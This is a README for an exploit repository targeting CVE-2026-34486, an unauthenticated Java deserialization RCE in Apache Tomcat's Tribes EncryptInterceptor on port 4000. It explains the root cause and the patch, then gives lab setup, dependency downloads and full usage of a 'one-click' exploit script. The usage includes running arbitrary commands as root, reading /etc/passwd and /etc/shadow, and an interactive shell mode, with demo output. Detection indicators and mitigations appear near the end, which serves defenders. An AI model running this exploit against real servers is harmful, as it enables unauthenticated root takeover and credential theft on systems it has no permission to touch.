Share
## https://sploitus.com/exploit?id=05869CA7-92ED-5040-BB39-AE26A84D0EBA
# CVE-2026-34486 โ Apache Tomcat EncryptInterceptor RCE
> **Apache Tomcat** Tribes cluster communication module fails to discard messages when `EncryptInterceptor` decryption fails, allowing unauthenticated attackers to trigger **Remote Code Execution** via Java deserialization on port 4000.







---
## Vulnerability Details
| Field | Info |
|-------|------|
| CVE ID | CVE-2026-34486 |
| CVSS Score | 7.5 (High) |
| Component | Apache Tomcat Tribes `EncryptInterceptor` |
| Affected Versions | 9.0.0.M1 โ 9.0.116 / 10.1.0-M1 โ 10.1.53 / 11.0.0-M1 โ 11.0.20 |
| Fixed Versions | 9.0.117 / 10.1.54 / 11.0.21 |
| Vulnerability Type | Unauthenticated Remote Code Execution via Deserialization |
| Attack Vector | Network / No Authentication / Low Complexity |
| Attack Port | TCP 4000 (Tribes NioReceiver) |
---
## Root Cause
Apache Tomcat's clustering feature uses the **Tribes** framework to synchronize session data between cluster nodes, listening on TCP port 4000 by default.
When `EncryptInterceptor` (AES/CBC) is enabled, the following logic flaw exists:
```java
// EncryptInterceptor.java โ vulnerable version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process decrypted message...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // only logs the error
}
super.messageReceived(msg); // โ BUG: raw bytes forwarded even after decryption failure
}
```
The `catch` block only logs the error. Since `super.messageReceived(msg)` is **outside** the `try-catch`, the **raw unencrypted bytes** are forwarded to `XByteBuffer.deserialize()` โ `ObjectInputStream.readObject()`.
An attacker can send a crafted deserialization payload to trigger RCE without any authentication.
### Attack Chain
```
Attacker โโTCP:4000โโโบ NioReceiver (no auth)
โ
EncryptInterceptor.messageReceived()
try { AES/CBC decrypt โ IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } โ only log trace
super.messageReceived(msg) โ BUG: raw bytes pass through
โ
GroupChannel โ XByteBuffer.deserialize()
โ
ObjectInputStream.readObject() โ deserialization triggered
โ
CommonsCollections6 Gadget Chain
โ
Runtime.exec() โ RCE as root ๐ด
```
### Patch (9.0.117)
The fix moves `super.messageReceived(msg)` **inside** the `try` block, so any decryption failure causes the message to be silently dropped (fail-closed).
```java
// EncryptInterceptor.java โ patched version
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// process...
super.messageReceived(msg); // โ FIXED: only reached if decryption succeeds
} catch (Exception e) {
log.error("Failed to decrypt message", e); // message is discarded
}
}
```
---
## Requirements
- Python 3.6+
- Java 11+ (`java` and `javac` in PATH)
- Docker (for lab deployment)
- `ysoserial-all.jar`
- `apache-tomcat-9.0.116` (for Tribes library)
---
## Lab Setup
### Pull the pre-built vulnerable image
```bash
docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verify
curl http://localhost:8080
```
### Build from source
```bash
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
docker build -t tomcat-vuln ./victim/
docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
tomcat-vuln
```
---
## Download Dependencies
```bash
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
```
---
## Exploitation
### Basic RCE verification
```bash
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
```
### RCE with output (recommended)
```bash
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
```
### Interactive shell mode
```bash
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# rce@127.0.0.1$ id
# rce@127.0.0.1$ hostname
# rce@127.0.0.1$ exit
```
### Custom paths
```bash
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
```
### exp.py Options
```
-t, --target Target IP (default: 127.0.0.1)
-p, --port Tribes port (default: 4000)
--http-port HTTP port for output retrieval (default: 8080)
-c, --command Execute command directly (no shell features)
--rce Execute command and retrieve output via HTTP
--shell Interactive shell mode
-g, --gadget Gadget chain (default: CommonsCollections6)
--ysoserial Path to ysoserial jar
--tomcat-lib Path to Tomcat lib directory
```
---
## Demo
```
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
โโโโโโโโโโ โโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโโ โโโ โโโโโโโโโโโโโโโ
โโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโ โโโโโโโโ
โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
34486
Apache Tomcat EncryptInterceptor Bypass โ Deserialization โ RCE
Target : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame โ 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
```
---
## Detection & Indicators of Compromise
The **only** log trace left by the attack:
```
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
```
No `readObject` exception is logged โ the command executes silently.
### Mitigation
| Action | Priority |
|--------|----------|
| Upgrade to Tomcat 9.0.117 / 10.1.54 / 11.0.21 | **Critical** |
| Restrict port 4000 to trusted cluster IPs only | High |
| Monitor logs for repeated `Failed to decrypt message` | Medium |
| Disable Tribes clustering if not needed | High |
---
## Repository Structure
```
CVE-2026-34486/
โโโ exp.py # One-click exploit script
โโโ README.md # This file
โโโ lab/ # Vulnerable lab environment
โโโ docker-compose.yml
โโโ victim/
โโโ Dockerfile # Tomcat 9.0.116 + commons-collections 3.2.1
โโโ conf/server.xml # Vulnerable config (EncryptInterceptor + NioReceiver)
โโโ webapps/ROOT/index.jsp
```
---
## References
- [Apache Tomcat Security Advisories](https://tomcat.apache.org/security-9.html)
- [Apache Tribes Documentation](https://tomcat.apache.org/tomcat-9.0-doc/cluster-howto.html)
- [ysoserial โ frohoff](https://github.com/frohoff/ysoserial)
- [Java Deserialization Cheatsheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)
---
## Disclaimer
**This project is intended for authorized security research, penetration testing, and educational purposes only.**
Do not use this tool against systems you do not own or have explicit permission to test.
The author assumes no liability for any misuse or damage caused by this tool.
---
## License
MIT License ยฉ 2026 [404-src](https://github.com/404-src)